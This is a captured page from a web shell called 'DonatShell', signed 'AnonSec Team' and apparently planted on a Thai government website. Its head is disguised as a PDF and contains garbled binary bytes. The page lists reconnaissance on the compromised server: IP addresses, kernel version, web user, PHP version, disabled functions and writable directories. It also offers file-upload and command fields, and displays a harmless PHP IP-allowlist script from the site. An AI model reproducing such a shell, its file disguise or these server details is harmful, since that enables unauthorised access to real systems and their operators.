%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/webboard//check_thai_ip.php
<?php
if (!function_exists('___ip_in_network')) {
	function ___ip_in_network($ip, $net_addr, $net_mask){
		if($net_mask <= 0){ return false; }
		$ip_binary_string = sprintf("%032b", ip2long($ip));
		$net_binary_string = sprintf("%032b", ip2long($net_addr));
		return (substr_compare($ip_binary_string, $net_binary_string, 0, $net_mask) === 0);
	}
}

// โหลด IP ที่อนุญาตจากไฟล์ .txt หรือกำหนดไว้ในตัวแปร
$___thai_ips = file_get_contents("allow_thai_ip.txt"); // หรือใส่ตรงนี้ก็ได้

$___ips = explode("\n", $___thai_ips);
$___in_range = false;
foreach($___ips as $___ip) {
	$___tmp = explode("/", trim($___ip));
	if(count($___tmp)!=2) continue;
	if(___ip_in_network($_SERVER['REMOTE_ADDR'], $___tmp[0], $___tmp[1])) {
		$___in_range = true;
		break;
	}
}

Anon7 - 2022
AnonSec Team